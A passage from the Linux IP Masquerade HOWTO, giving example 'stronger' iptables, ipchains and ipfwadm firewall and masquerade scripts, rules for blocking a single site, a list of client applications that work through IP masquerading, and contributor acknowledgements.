# ----- Begin OPTIONAL Section -----
#

# DHCPd - Enable the following lines if you run an INTERNAL DHCPd server
#
#$IPTABLES -A OUTPUT -o $INTIF -p tcp -s $INTIP --sport 67 \
-d 255.255.255.255 --dport 68 -j ACCEPT
#$IPTABLES -A OUTPUT -o $INTIF -p udp -s $INTIP --sport 67 \
-d 255.255.255.255 --dport 68 -j ACCEPT

#
# ----- End OPTIONAL Section -----

# Catch all rule, all other outgoing is denied and logged.
#
$IPTABLES -A OUTPUT -s $UNIVERSE -d $UNIVERSE -j drop-and-log-it

echo -e "   - Loading FORWARD rulesets"

#######################################################################
# FORWARD: Enable Forwarding and thus IPMASQ
#

echo "     - FWD: Allow all connections OUT and only existing/related IN"
$IPTABLES -A FORWARD -i $EXTIF -o $INTIF -m state --state ESTABLISHED,RELATED \
-j ACCEPT
$IPTABLES -A FORWARD -i $INTIF -o $EXTIF -j ACCEPT

# Catch all rule, all other forwarding is denied and logged.
#
$IPTABLES -A FORWARD -j drop-and-log-it

echo "     - NAT: Enabling SNAT (MASQUERADE) functionality on $EXTIF"
#
#More liberal form
#$IPTABLES -t nat -A POSTROUTING -o $EXTIF -j MASQUERADE
#
#Stricter form
$IPTABLES -t nat -A POSTROUTING -o $EXTIF -j SNAT --to $EXTIP

#######################################################################
echo -e "\nStronger rc.firewall-2.4 $FWVER done.\n"
<rc.firewall-2.4-stronger STOP>

To automatically start this stronger firewall ruleset at the proper time, please see the end of the Section 3.4.2 section for full details. Please make sure you make the correct "rc.firewall-2.4" to "rc.firewall-2.4-stronger" substitutions!!

6.4.2. Stronger IP Firewall (IPCHAINS) rulesets

This section provides a more in-depth guide to using the 2.2.x firewall tool, IPCHAINS. See above sections for IPFWADM rulesets.

This example is for a firewall/masquerade system behind a PPP link with a static PPP address (dynamic PPP instructions are included but disabled). The trusted interface is 192.168.0.1 and the PPP interface IP address has been changed to protect the guilty :-). I have listed each incoming and outgoing interface individually to catch IP spoofing as well as stuffed routing and/or masquerading. A nything not explicitly allowed is FORBIDDEN (well.. rejected actually). If your IP MASQ box breaks after implementing this rc.firewall script, be sure that you edit it for your configuration and check your /var/log/messages or /var/adm/messages SYSLOG file for any firewall errors.

For more comprehensive examples of a strong IP Masqueraded IPFWADM rulesets for PPP, Cablemodem users, etc., please see TrinityOS - Section 10 and GreatCircle's Firewall WWW page

NOTE #1: --- UPDATE YOUR KERNEL --- Linux 2.2.x kernels less than version 2.2.20 contain several different security vulnerabilities (some were MASQ specific). Kernels less than 2.2.20 have a few local vulnerabilities. Kernel versions less than 2.2.16 have a TCP root exploit vulnerability and versions less than 2.2.11 have a IPCHAINS fragmentation bug. Because of these issues, users running a firewall with strong IPCHAINS rulesets are open to possible instrusion. Please upgrade your kernel to a fixed version.

NOTE #2: If you get a dynamically assigned TCP/IP address from your ISP (PPP, ADSL, Cablemodems, etc.), you CANNOT load this strong ruleset upon booting. You will either need to reload this firewall ruleset EVERY TIME you get a new IP address or make your /etc/rc.d/rc.firewall ruleset more intelligent. To do this for PPP users, carefully read and un-comment out the proper lines in the "Dynamic PPP IP fetch" section below. You can also find more details in the TrinityOS - Section 10 doc for more details on Strong rulesets and Dynamic IP addresses.

Please also be aware that there are several GUI Firewall creation tools available as well. Please see Chapter 7for full details.

Lastly, if you are using a STATIC PPP IP address, change the "ppp_ip="your.static.PPP.address"" line to reflect your address.

----------------------------------------------------------------

<rc.firewall-2.2-stronger START>
#!/bin/sh
#
# /etc/rc.d/rc.firewall: An example of a Semi-Strong IPCHAINS firewall ruleset.
#

PATH=/sbin:/bin:/usr/sbin:/usr/bin

# Load all required IP MASQ modules
#
#   NOTE:  Only load the IP MASQ modules you need.  All current IP MASQ modules
#          are shown below but are commented from loading.

# Needed to initially load modules
#
/sbin/depmod -a

# Supports the proper masquerading of FTP file transfers using the PORT method
#
/sbin/modprobe ip_masq_ftp

# Supports the masquerading of RealAudio over UDP.  Without this module,
#       RealAudio WILL function but in TCP mode.  This can cause a reduction
#       in sound quality
#
/sbin/modprobe ip_masq_raudio

# Supports the masquerading of IRC DCC file transfers
#
#/sbin/modprobe ip_masq_irc

# Supports the masquerading of Quake and QuakeWorld by default.  These modules are
#   for multiple users behind the Linux MASQ server.  If you are going to
#   play Quake I, II, and III, use the second example.
#
#   NOTE:  If you get ERRORs loading the QUAKE module, you are running an old
#   -----  kernel that has bugs in it.  Please upgrade to the newest kernel.
#
#Quake I / QuakeWorld (ports 26000 and 27000)
#/sbin/modprobe ip_masq_quake
#
#Quake I/II/III / QuakeWorld (ports 26000, 27000, 27910, 27960)
#/sbin/modprobe ip_masq_quake 26000,27000,27910,27960

# Supports the masquerading of the CuSeeme video conferencing software
#
#/sbin/modprobe ip_masq_cuseeme

#Supports the masquerading of the VDO-live video conferencing software
#
#/sbin/modprobe ip_masq_vdolive

#CRITICAL:  Enable IP forwarding since it is disabled by default
#
#           Redhat Users:  you may try changing the options in
#                          /etc/sysconfig/network from:
#
#                       FORWARD_IPV4=false
#                             to
#                       FORWARD_IPV4=true
#
echo "1" > /proc/sys/net/ipv4/ip_forward

#CRITICAL:  Enable automatic IP defragmentation since it is disabled by default
#           in 2.2.x kernels
#
#           This used as a compile-time option but the behavior was changed
#           in 2.2.12.  It should also be noted that some distributions have
#           removed this option from the /proc table.  If this entry isn't
#           present in your /proc, don't worry about it.
#
echo "1" > /proc/sys/net/ipv4/ip_always_defrag

# Dynamic IP users:
#
#   If you get your IP address dynamically from SLIP, PPP, or DHCP, enable this
#   following option.  This enables dynamic-ip address hacking in IP MASQ,
#   making life with Diald and similar programs much easier.
#
#echo "1" > /proc/sys/net/ipv4/ip_dynaddr

# Enable the LooseUDP patch which some Internet-based games require
#
#  If you are trying to get an Internet game to work through your IP MASQ box,
#  and you configured it to the best of your ability without it working, try
#  enabling this option (delete the "#" character).  This option is disabled
#  by default due to possible internal machine UDP port scanning
#  vulnerabilities.
#
#echo "1" > /proc/sys/net/ipv4/ip_masq_udp_dloose

# Specify your Static IP address here.
#
#   If you have a DYNAMIC IP address, you need to make this ruleset recognize
#   your IP address everytime you get a new IP.  To do this, enable the
#   following one-line script.  (Please note that the different single and
#   double quote characters MATTER).
#
#
#   DHCP users:
#   -----------
#   If you get your TCP/IP address via DHCP, **you will need ** to enable the
#   #ed out command below underneath the PPP section AND replace the word
#   "ppp0" with the name of your EXTERNAL Internet connection (eth0, eth1, etc)
#   on the lines for "ppp-ip" and "extip".  You should note that the
#   DHCP server can change IP addresses on you.  To fix this, users should
#   configure their DHCP client to re-run the firewall ruleset everytime the
#   DHCP lease is renewed.
#
#     NOTE #1:  Some DHCP clients like the original "pump" (the newer
#               versions have been fixed) did NOT have the ability to run
#               scripts after a lease-renew.  Because of this, you need to
#               replace it with something like "dhcpcd" or "dhclient".
#
#     NOTE #2:  The syntax for "dhcpcd" has changed in recent versions.
#
#               Older versions used syntax like:
#                         dhcpcd -c /etc/rc.d/rc.firewall eth0
#
#               Newer versions use syntax like:
#                         dhcpcd eth0 /etc/rc.d/rc.firewall
#
#     NOTE #3:  For Pump users, put the following line in /etc/pump.conf:
#
#                   script /etc/rc.d/rc.firewall
#
#   PPP users:
#   ----------
#   If you aren't already aware, the /etc/ppp/ip-up script is always run when
#   a PPP connection comes up.  Because of this, we can make the ruleset go and
#   get the new PPP IP address and update the strong firewall ruleset.
#
#   If the /etc/ppp/ip-up file already exists, you should edit it and add a line
#   containing "/etc/rc.d/rc.firewall" near the end of the file.
#
#   If you don't already have a /etc/ppp/ip-up sccript, you need to create the
#   following link to run the /etc/rc.d/rc.firewall script.
#
#       ln -s /etc/rc.d/rc.firewall /etc/ppp/ip-up
#
#   * You then want to enable the #ed out shell command below *
#
#
# PPP and DHCP Users:
# -------------------
# Remove the # on the line below and place a # in front of the line after that.
#
#extip="`/sbin/ifconfig ppp0 | grep 'inet addr' | awk '{print $2}' | sed -e 's/.*://'`"

# For PPP users with STATIC IP addresses:
#
extip="your.static.PPP.address"

# ALL PPP and DHCP users must set this for the correct EXTERNAL interface name
extint="ppp0"

# Assign the internal IP
intint="eth0"
intnet="192.168.0.0/24"

# MASQ timeouts
#
#   2 hrs timeout for TCP session timeouts
#  10 sec timeout for traffic after the TCP/IP "FIN" packet is received
#  60 sec timeout for UDP traffic (MASQ'ed ICQ users must enable a 30sec
#     firewall timeout in ICQ itself)
#
ipchains -M -S 7200 10 60

#############################################################################
# Incoming, flush and set default policy of reject. Actually the default policy
# is irrelevant because there is a catch all rule with deny and log.
#
ipchains -F input
ipchains -P input REJECT

# local interface, local machines, going anywhere is valid
#
ipchains -A input -i $intint -s $intnet -d 0.0.0.0/0 -j ACCEPT

# remote interface, claiming to be local machines, IP spoofing, get lost
#
ipchains -A input -i $extint -s $intnet -d 0.0.0.0/0 -l -j REJECT

# remote interface, any source, going to permanent PPP address is valid
#
ipchains -A input -i $extint -s 0.0.0.0/0 -d $extip/32 -j ACCEPT

# loopback interface is valid.
#
ipchains -A input -i lo -s 0.0.0.0/0 -d 0.0.0.0/0 -j ACCEPT

# catch all rule, all other incoming is denied and logged. pity there is no
# log option on the policy but this does the job instead.
#
ipchains -A input -s 0.0.0.0/0 -d 0.0.0.0/0 -l -j REJECT

#############################################################################
# Outgoing, flush and set default policy of reject. Actually the default policy
# is irrelevant because there is a catch all rule with deny and log.
#
ipchains -F output
ipchains -P output REJECT

# local interface, any source going to local net is valid
#
ipchains -A output -i $intint -s 0.0.0.0/0 -d $intnet -j ACCEPT

# outgoing to local net on remote interface, stuffed routing, deny
#
ipchains -A output -i $extint -s 0.0.0.0/0 -d $intnet -l -j REJECT

# outgoing from local net on remote interface, stuffed masquerading, deny
#
ipchains -A output -i $extint -s $intnet -d 0.0.0.0/0 -l -j REJECT

# anything else outgoing on remote interface is valid
#
ipchains -A output -i $extint -s $extip/32 -d 0.0.0.0/0 -j ACCEPT

# loopback interface is valid.
#
ipchains -A output -i lo -s 0.0.0.0/0 -d 0.0.0.0/0 -j ACCEPT

# catch all rule, all other outgoing is denied and logged. pity there is no
# log option on the policy but this does the job instead.
#
ipchains -A output -s 0.0.0.0/0 -d 0.0.0.0/0 -l -j REJECT

#############################################################################
# Forwarding, flush and set default policy of deny. Actually the default policy
# is irrelevant because there is a catch all rule with deny and log.
#
ipchains -F forward
ipchains -P forward DENY

# Masquerade from local net on local interface to anywhere.
#
ipchains -A forward -i $extint -s $intnet -d 0.0.0.0/0 -j MASQ
#
# catch all rule, all other forwarding is denied and logged. pity there is no
# log option on the policy but this does the job instead.
#
ipchains -A forward -s 0.0.0.0/0 -d 0.0.0.0/0 -l -j REJECT

#End of file.
<rc.firewall-2.2-stronger STOP>

To automatically start this stronger firewall ruleset at the proper time, please see the end of the Section 3.4.2 section for full details. Please make sure you make the correct "rc.firewall-2.2" to "rc.firewall-2.2-stronger" substitutions!!

With IPCHAINS, you can block traffic to a particular site using the "input", "output", and/or "forward" rules. Remember that the set of rules are scanned from top to bottom and "-A" tells IPCHIANS to "append" this new rule to the existing set of rules. So with this in mind, any specific restrictions need to come before any global rules. For example:

Using "input" rules:

Probably the fastest and most efficient method to block traffic, but this method only stops the MASQed machines and NOT the firewall machine itself. Of course, you might want to allow that combination.

Anyway, to block 204.50.10.13:

In the /etc/rc.d/rc.firewall ruleset:
... start of "input" rules ...

# reject and log local interface, local machines going to 204.50.10.13
#
ipchains -A input -s 192.168.0.0/24 -d 204.50.10.13/32 -l -j REJECT

# local interface, local machines, going anywhere is valid
#
ipchains -A input -s 192.168.0.0/24 -d 0.0.0.0/0 -l -j ACCEPT

... end of "input" rules ...

Using "output" rules:

This is the slower method to block traffic because the packets must go through masquerading before they are dropped. Yet, this rule even stops the firewall machine from accessing the forbidden site.

... start of "output" rules ... # reject and log outgoing to 204.50.10.13 # ipchains -A output -s $ppp_ip/32 -d 204.50.10.13/32 -l -j REJECT # anything else outgoing on remote interface is valid # ipchains -A output -s $ppp_ip/32 -d 0.0.0.0/0 -l -j ACCEPT ... end of "output" rules ...

Using "forward" rules:

Probably slower than "input" rules for blocking traffic, this only stops masqueraded machines (e.g. internal machines). The firewall machine can still reach forbidden site(s).

... start of "forward" rules ... # Reject and log from local net on PPP interface to 204.50.10.13. # ipchains -A forward -i ppp0 -s 192.168.0.0/24 -d 204.50.10.13/32 -l -j REJECT # Masquerade from local net on local interface to anywhere. # ipchains -A forward -i ppp0 -s 192.168.0.0/24 -d 0.0.0.0/0 -j MASQ ... end of "forward" rules ...

No need for a special rule to allow machines on the 192.168.0.0/24 network to go to 204.50.11.0. Why? It is already covered by the global MASQ rule.

NOTE: Unlike IPFWADM, IPCHIANS has only one way of coding the interfaces name. IPCHAINS uses the "-i eth0" option where as IPFWADM had both "-W" for the interface name and "-V" for the interface's IP address.

6.4.3. Stronger IP Firewall (IPFWADM) Rulesets

This section provides a more in-depth guide on using the 2.0.x firewall tool, IPFWADM. See below for IPCHAINS rulesets

This example is for a firewall/masquerade system behind a PPP link with a static PPP address (dynamic PPP instructions are included but disabled). The trusted interface is 192.168.0.1 and the PPP interface IP address has been changed to protect the guilty :). I have listed each incoming and outgoing interface individually to catch IP spoofing as well as stuffed routing and/or masquerading. Anything not explicitly allowed is FORBIDDEN (well.. rejected, actually). If your IP MASQ box breaks after implementing this rc.firewall script, be sure that you edit it for your configuration and check your /var/log/messages or /var/adm/messages SYSLOG file for any firewall errors.

For more comprehensive examples of a strong IP Masqueraded IPFWADM rulesets for PPP, Cablemodem users, etc., please see TrinityOS - Section 10 and GreatCircle's Firewall WWW page

NOTE: If you get a dynamically assigned TCP/IP address from your ISP (PPP, ADSL, Cablemodems, etc.), you CANNOT load this strong ruleset upon boot. You will either need to reload this firewall ruleset EVERY TIME you get a new IP address or make your /etc/rc.d/rc.firewall ruleset more intelligent. To do this for PPP users, carefully read and un-comment out the proper lines in the "Dynamic PPP IP fetch" section below. You can also find more details on Strong rulesets and Dynamic IP addresses in the TrinityOS - Section 10 docs.

Please also be aware that there are several GUI Firewall creation tools available as well. Please see Chapter 7for full details.

Lastly, if you are using a STATIC PPP IP address, change the "ppp_ip="your.static.PPP.address"" line to reflect your address.

----------------------------------------------------------------

<rc.firewall-2.0-stronger START>
#!/bin/sh
#
# /etc/rc.d/rc.firewall: An example of a semi-STRONG IPFWADM firewall ruleset
#

PATH=/sbin:/bin:/usr/sbin:/usr/bin

# testing, wait a bit then clear all firewall rules.
# uncomment the following lines if you want the firewall to automatically
# disable after 10 minutes.
# (sleep 600; \
# ipfwadm -I -f; \
# ipfwadm -I -p accept; \
# ipfwadm -O -f; \
# ipfwadm -O -p accept; \
# ipfwadm -F -f; \
# ipfwadm -F -p accept; \
# ) &

# Load all required IP MASQ modules
#
#   NOTE:  Only load the IP MASQ modules you need.  All current IP MASQ modules
#          are shown below but are commented from loading.

# Needed to initially load modules
#
/sbin/depmod -a

# Supports the proper masquerading of FTP file transfers using the PORT method
#
/sbin/modprobe ip_masq_ftp

# Supports the masquerading of RealAudio over UDP.  Without this module,
#       RealAudio WILL function but in TCP mode.  This can cause a reduction
#       in sound quality
#
#/sbin/modprobe ip_masq_raudio

# Supports the masquerading of IRC DCC file transfers
#
#/sbin/modprobe ip_masq_irc

# Supports the masquerading of Quake and QuakeWorld by default.  This modules is
#   for multiple users behind the Linux MASQ server.  If you are going to
#   play Quake I, II, and III, use the second example.
#
#   NOTE:  If you get ERRORs loading the QUAKE module, you are running an old
#   -----  kernel that has bugs in it.  Please upgrade to the newest kernel.
#
#Quake I / QuakeWorld (ports 26000 and 27000)
#/sbin/modprobe ip_masq_quake
#
#Quake I/II/III / QuakeWorld (ports 26000, 27000, 27910, 27960)
#/sbin/modprobe ip_masq_quake 26000,27000,27910,27960

# Supports the masquerading of the CuSeeme video conferencing software
#
#/sbin/modprobe ip_masq_cuseeme

#Supports the masquerading of the VDO-live video conferencing software
#
#/sbin/modprobe ip_masq_vdolive

#CRITICAL:  Enable IP forwarding, since it is disabled by default
#
#           Redhat Users:  you may try changing the options in /etc/sysconfig/network
#                          from:
#
#                       FORWARD_IPV4=false
#                             to
#                       FORWARD_IPV4=true
#
echo "1" > /proc/sys/net/ipv4/ip_forward

#CRITICAL:  Enable automatic IP defragmenting since it is disabled by default
#           in 2.2.x kernels
#
#           This used to be a compile-time option but the behavior was changed
#           in 2.2.12
#
echo "1" > /proc/sys/net/ipv4/ip_always_defrag

# Dynamic IP users:
#
#   If you get your IP address dynamically from SLIP, PPP, or DHCP, enable this
#   following option.  This allows dynamic-ip address hacking in IP MASQ,
#   making the life with Diald and similar programs much easier.
#
#echo "1" > /proc/sys/net/ipv4/ip_dynaddr

# Specify your Static IP address here.
#
#   If you have a DYNAMIC IP address, you need to make this ruleset understand
#   your IP address everytime you get a new IP.  To do this, enable the
#   following one-line script.  (Please note that the different single and
#   double quote characters MATTER).
#
#
#   DHCP users:
#   -----------
#   If you get your TCP/IP address via DHCP, **you will need ** to enable the
#   #ed out command below underneath the PPP section AND replace the word
#   "ppp0" with the name of your EXTERNAL Internet connection (eth0, eth1,
#   etc).  It should be also noted that the DHCP server can change IP
#   addresses on you.  To fix this, users should configure their DHCP client
#   to re-run the firewall ruleset everytime the DHCP lease is renewed.
#
#     NOTE #1:  Some DHCP clients like the older version of "pump" (the newer
#               versions have been fixed) did NOT have the ability to run
#               scripts after a lease-renew.  Because of this, you need to
#               replace it with something like "dhcpcd" or "dhclient".
#
#     NOTE #2:  The syntax for "dhcpcd" has changed in recent versions.
#
#               Older versions used syntax like:
#                         dhcpcd -c /etc/rc.d/rc.firewall eth0
#
#               Newer versions use syntax like:
#                         dhcpcd eth0 /etc/rc.d/rc.firewall
#
#     NOTE #3:  For Pump users, put the following line in /etc/pump.conf:
#
#                   script /etc/rc.d/rc.firewall
#
#   PPP users:
#   ----------
#   If you aren't already aware, the /etc/ppp/ip-up script is always run when
#   a PPP connection comes up.  Because of this, we can make the ruleset go
#   and get the new PPP IP address and update the strong firewall ruleset.
#
#   If the /etc/ppp/ip-up file already exists, you should edit it and add a line
#   containing "/etc/rc.d/rc.firewall" near the end of the file.
#
#   If you don't already have a /etc/ppp/ip-up sccript, you need to create the
#   following link to run the /etc/rc.d/rc.firewall script.
#
#	ln -s /etc/rc.d/rc.firewall /etc/ppp/ip-up
#
#   * You then want to enable the #ed out shell command below *
#
#
# PPP and DHCP Users:
# -------------------
# Remove the # on the line below and place a # in front of the line after that.
#
#ppp_ip="`/sbin/ifconfig ppp0 | grep 'inet addr' | awk '{print $2}' | sed -e 's/.*://'`"
#
ppp_ip="your.static.PPP.address"

# MASQ timeouts
#
#   2 hrs timeout for TCP session timeouts
#  10 sec timeout for traffic after the TCP/IP "FIN" packet is received
#  60 sec timeout for UDP traffic (MASQ'ed ICQ users must enable a 30sec
#     firewall timeout in ICQ itself)
#
/sbin/ipfwadm -M -s 7200 10 60

#############################################################################
# Incoming, flush and set default policy of reject. Actually the default policy
# is irrelevant because there is a catch all rule with deny and log.
#
/sbin/ipfwadm -I -f
/sbin/ipfwadm -I -p reject

# local interface, local machines, going anywhere is valid
#
/sbin/ipfwadm -I -a accept -V 192.168.0.1 -S 192.168.0.0/24 -D 0.0.0.0/0

# remote interface, claiming to be local machines, IP spoofing, get lost
#
/sbin/ipfwadm -I -a reject -V $ppp_ip -S 192.168.0.0/24 -D 0.0.0.0/0 -o

# remote interface, any source, going to permanent PPP address is valid
#
/sbin/ipfwadm -I -a accept -V $ppp_ip -S 0.0.0.0/0 -D $ppp_ip/32

# loopback interface is valid.
#
/sbin/ipfwadm -I -a accept -V 127.0.0.1 -S 0.0.0.0/0 -D 0.0.0.0/0

# catch all rule, all other incoming is denied and logged. pity there is no
# log option on the policy but this does the job instead.
#
/sbin/ipfwadm -I -a reject -S 0.0.0.0/0 -D 0.0.0.0/0 -o

#############################################################################
# Outgoing, flush and set default policy of reject. Actually the default policy
# is irrelevant because there is a catch all rule with deny and log.
#
/sbin/ipfwadm -O -f
/sbin/ipfwadm -O -p reject

# local interface, any source going to local net is valid
#
/sbin/ipfwadm -O -a accept -V 192.168.0.1 -S 0.0.0.0/0 -D 192.168.0.0/24

# outgoing to local net on remote interface, stuffed routing, deny
#
/sbin/ipfwadm -O -a reject -V $ppp_ip -S 0.0.0.0/0 -D 192.168.0.0/24 -o

# outgoing from local net on remote interface, stuffed masquerading, deny
#
/sbin/ipfwadm -O -a reject -V $ppp_ip -S 192.168.0.0/24 -D 0.0.0.0/0 -o

# outgoing from local net on remote interface, stuffed masquerading, deny
#
/sbin/ipfwadm -O -a reject -V $ppp_ip -S 0.0.0.0/0 -D 192.168.0.0/24 -o

# anything else outgoing on remote interface is valid
#
/sbin/ipfwadm -O -a accept -V $ppp_ip -S $ppp_ip/32 -D 0.0.0.0/0

# loopback interface is valid.
#
/sbin/ipfwadm -O -a accept -V 127.0.0.1 -S 0.0.0.0/0 -D 0.0.0.0/0

# catch all rule, all other outgoing is denied and logged. pity there is no
# log option on the policy but this does the job instead.
#
/sbin/ipfwadm -O -a reject -S 0.0.0.0/0 -D 0.0.0.0/0 -o

#############################################################################
# Forwarding, flush and set default policy of deny. Actually the default policy
# is irrelevant because there is a catch all rule with deny and log.
#
/sbin/ipfwadm -F -f
/sbin/ipfwadm -F -p deny

# Masquerade from local net on local interface to anywhere.
#
/sbin/ipfwadm -F -a masquerade -W ppp0 -S 192.168.0.0/24 -D 0.0.0.0/0
#
# catch all rule, all other forwarding is denied and logged.  Pity there is no
# log option on the policy but this does the job instead.
#
/sbin/ipfwadm -F -a reject -S 0.0.0.0/0 -D 0.0.0.0/0 -o

#End of file.
<rc.firewall-2.0-stronger STOP>

To automatically start this stronger firewall ruleset at the proper time, please see the end of the Section 3.4.3 section for full details. Please make sure you make the correct "rc.firewall-2.0" to "rc.firewall-2.0-stronger" substitutions!!

With IPFWADM, you can block traffic to a particular site using the -I, -O or -F rules. Remember that the set of rules are scanned top to bottom and "-a" tells IPFWADM to "append" this new rule to the existing set of rules. So with this in mind, any specific restrictions need to come before global rules. For example:

Using -I (input ) rules:

Probably the fastest and most efficient method to block traffic but it only stops the MASQed machines, and NOT the the firewall machine itself. Of course, you might want to allow that combination.

Anyway, to block 204.50.10.13:

In the /etc/rc.d/rc.firewall ruleset: ... start of -I rules ... # reject and log local interface, local machines going to 204.50.10.13 # /sbin/ipfwadm -I -a reject -V 192.168.0.1 -S 192.168.0.0/24 -D 204.50.10.13/32 -o # local interface, local machines, going anywhere is valid # /sbin/ipfwadm -I -a accept -V 192.168.0.1 -S 192.168.0.0/24 -D 0.0.0.0/0 ... end of -I rules ...

Using -O (output) rules:

This is the slower method to block traffic because the packets go through masquerading first before they are dropped. Yet, this rule even stops the firewall machine from accessing the forbidden site.

... start of -O rules ... # reject and log outgoing to 204.50.10.13 # /sbin/ipfwadm -O -a reject -V $ppp_ip -S $ppp_ip/32 -D 204.50.10.13/32 -o # anything else outgoing on remote interface is valid # /sbin/ipfwadm -O -a accept -V $ppp_ip -S $ppp_ip/32 -D 0.0.0.0/0 ... end of -O rules ...

Using -F (forward) rules:

Probably slower than -I (input) rules for blocking traffic, this still only stops masqueraded machines (e.g. internal machines). The firewall machine can still reach forbidden site(s).

... start of -F rules ... # Reject and log from local net on PPP interface to 204.50.10.13. # /sbin/ipfwadm -F -a reject -W ppp0 -S 192.168.0.0/24 -D 204.50.10.13/32 -o # Masquerade from local net on local interface to anywhere. # /sbin/ipfwadm -F -a masquerade -W ppp0 -S 192.168.0.0/24 -D 0.0.0.0/0 ... end of -F rules ...

There is no need for a special rule to allow machines on the 192.168.0.0/24 network to go to 204.50.11.0. Why? It is already covered by the global MASQ rule.

NOTE: There is more than one way of coding the interfaces in the above rules. For example instead of "-V 192.168.255.1" you can code "-W eth0", instead of "-V $ppp_ip" , you can use "-W ppp0". The "-V" method was phased out with the imgration to IPCHAINS, but for IPFWADM users, its more of a personal choice and documentation.

Prev | Home | Next
Supported Client Software and Other Setup Notes | Up | IP Masquerading multiple internal networks


Supported Client Software and Other Setup Notes

Linux IP Masquerade HOWTO
Prev Chapter 6. Other IP Masquerade Issues and Software Support Next

6.3. Supported Client Software and Other Setup Notes

"** The Linux Masquerade Application list has a lot of good information regarding applications that work through Linux IP masquerading. This site was recently taken over by Steve Grevemeyer, who implemented it with a full database backend. It's a great resource! "

Generally, any application that uses standard TCP and UDP should work. If you have any suggestion, hints, etc., please see the IP Masquerade Resource for more details.

6.3.1. Network Clients that -Work- with IP Masquerade

General Clients:

Archie

all supported platforms, file searching client (not all archie clients are supported)

FTP

all supported platforms, with the ip_masq_ftp.o kernel module for active FTP connections.

Gopher client

all supported platforms

HTTP

all supported platforms, WWW surfing

IRC

all IRC clients on various supported platforms, DCC is supported via the ip_masq_irc.o module

NNTP (USENET)

all supported platforms, USENET news client

PING

all platforms, with ICMP Masquerading kernel option

POP3

all supported platforms, email clients

SSH

all supported platforms, Secure TELNET/FTP clients

SMTP

all supported platforms, email servers like Sendmail, Qmail, PostFix, etc.

TELNET

all supported platforms, remote session

TRACEROUTE

UNIX and Windows based platforms, some variations may not work

VRML

Windows(possibly all supported platforms), virtual reality surfing

WAIS client

all supported platforms

Multimedia and Communication Clients:

All H.323 programs

- MS Netmeeting, Intel Internet Phone Beta , and other H.323 applications - There are now two solutions to accomplish this through IPMASQed connections:

There is a stable BETA 2.2.x kernel module available on the MASQ WWW site or at http://www.coritel.it/coritel/ip/sofia/nat/nat2/nat2.htm to work with Microsoft Netmeeting v3.x code on 2.2.x kernels. There is also another module version on the MASQ WWW site specifically for Netmeeting 2.x with 2.0.x kernels, but this does not support Netmeeting v3.x.

Another commercial solution is the Equivalence's PhonePatch H.323 gateway.

Alpha Worlds

Windows, Client-Server 3D chat program

CU-SeeMe

all supported platforms, with the ip_masq_cuseeme module loaded, please see Section 6.8 for more details.

ICQ

all supported clients. Requires the Linux kernel to be either compiled with PORTFW support, have the ip_masq_icq module (2.2.x and 2.0.x only), or have a SOCKS proxy running. A full description of this configuration is in Section 6.9.

Internet Phone 3.2

Windows, Peer-to-peer audio communications, users can reach you only if you initiate the call, but those users cannot call you without a specific port forwarding setup. See Section 6.7for more details.

Internet Wave Player

Windows, network streaming audio

Powwow

Windows, Peer-to-peer Text audio whiteboard communications, users can reach you only if you initiate the call, but those users cannot call you without a specific port forwarding setup. See Section 6.7for more details.

Real Audio Player

Windows, network streaming audio, higher quality available with the ip_masq_raudio UDP module

True Speech Player 1.1b

Windows, network streaming audio

VDOLive

Windows, with the ip_masq_vdolive patch

Worlds Chat 0.9a

Windows, Client-Server 3D chat program

Games - See Section 6.10for more details on the LooseUDP patch

Battle.net

Works but requires TCP ports 116, 118 and UDP port 6112 IPPORTFWed to the client game machine. See Section 6.7for more details. Please note that FSGS and Bnetd servers still require IPPORTFW because they have not been re-written to be NAT-friendly.

BattleZone 1.4

Works with LooseUDP patch and new NAT-friendly .DLLs from Activision

Dark Reign 1.4

Works with LooseUDP patch or requires TCP ports 116 and 118 and UDP port 6112 IPPORTFWed to the game machine. See Section 6.7for more details.

Diablo

Works with LooseUDP patch or requires TCP ports 116 and 118 and UDP port 6112 IPPORTFWed to the game machine. Newer versions of Diablo use only TCP port 6112 and UDP port 6112. See Section 6.7for more details.

Heavy Gear 2

Works with LooseUDP patch or requires TCP ports 116 and 118 and UDP port 6112 IPPORTFWed to the game machine. See Section 6.7for more details.

Quake I/II/III

Works right out of the box but requires the ip_masq_quake module if there are more than one Quake I/II/III player behind a MASQ box. Also, this module only supports Quake I and QuakeWorld by default. If you need to support Quake II or non-default server ports, please see the module install section of Section 3.4.3 and Section 3.4.2 rulesets.

StarCraft

Works with the LooseUDP patch, IPPORTFWing TCP, and UDP ports 6112 to the internal MASQed game machine. See Section 6.7for more details.

WorldCraft

Works with LooseUDP patch

Other Clients:

Linux net-acct package

Linux, network administration-account package

NCSA Telnet 2.3.08

DOS, a suite containing telnet, ftp, ping, etc.

PC-anywhere for Windows

MS-Windows remotely controls a PC over TCP/IP, but only works if it is a client, but not a host without a specific port forwarding setup. See Section 6.7for more details.

Socket Watch

uses NTP - network time protocol

6.3.2. Clients that do not have full support in IP MASQ:

Intel Streaming Media Viewer Beta 1

Cannot connect to server

Netscape CoolTalk

Cannot connect to opposite side

WebPhone

Cannot work at present (it makes invalid assumptions about addresses).

Prev | Home | Next
Incoming services | Up | Stronger firewall rulesets to run after initial testing


Thanks to the following supporters..

Linux IP Masquerade HOWTO
Prev Chapter 8. Miscellaneous Next

8.3. Thanks to the following supporters..

In Alphabetical order:

  • Gabriel Beitler, gabrielb@voicenet.com on providing section 3.3.8 (setting up Novell)

  • Juan Jose Ciarlante, irriga@impsat1.com.ar for contributing his work on the IPMASQADM port forward tool, the 2.1.x and 2.2.x kernel code, and the original LooseUDP patch, etc.

  • Steven Clarke, steven@monmouth.demon.co.uk for contributing his IPPORTFW IP port forwarder tool

  • Andrew Deryabin, djsf@usa.net for contributing his ICQ MASQ module

  • Ed Doolittle, dolittle@math.toronto.edu for suggestions to -V option in theipfwadm command for improved security

  • Matthew Driver, mdriver@cfmeu.asn.au for helping extensively on this HOWTO, and providing section 3.3.1 (setting up Windows 95)

  • Ken Eves, ken@eves.com for the FAQ that provides invaluable information for this HOWTO

  • John Hardin, jhardin@wolfenet.com for his PPTP and IPSEC forwarding tools

  • Glenn Lamb, mumford@netcom.com for the LooseUDP patch

  • Ed. Lott, edlott@neosoft.com for a long list of tested system and software

  • Nigel Metheringham, Nigel.Metheringham@theplanet.net for contributing his version of the IP Packet Filtering and IP Masquerading HOWTO, which makes this HOWTO a better and in-depth technical document section 4.1, 4.2, and others

  • Keith Owens, kaos@ocs.com.au for providing an excellent guide on ipfwadm section 4.2 on correction to ipfwadm -deny option which avoids a security hole, and clarified the status of ping over IP Masquerade

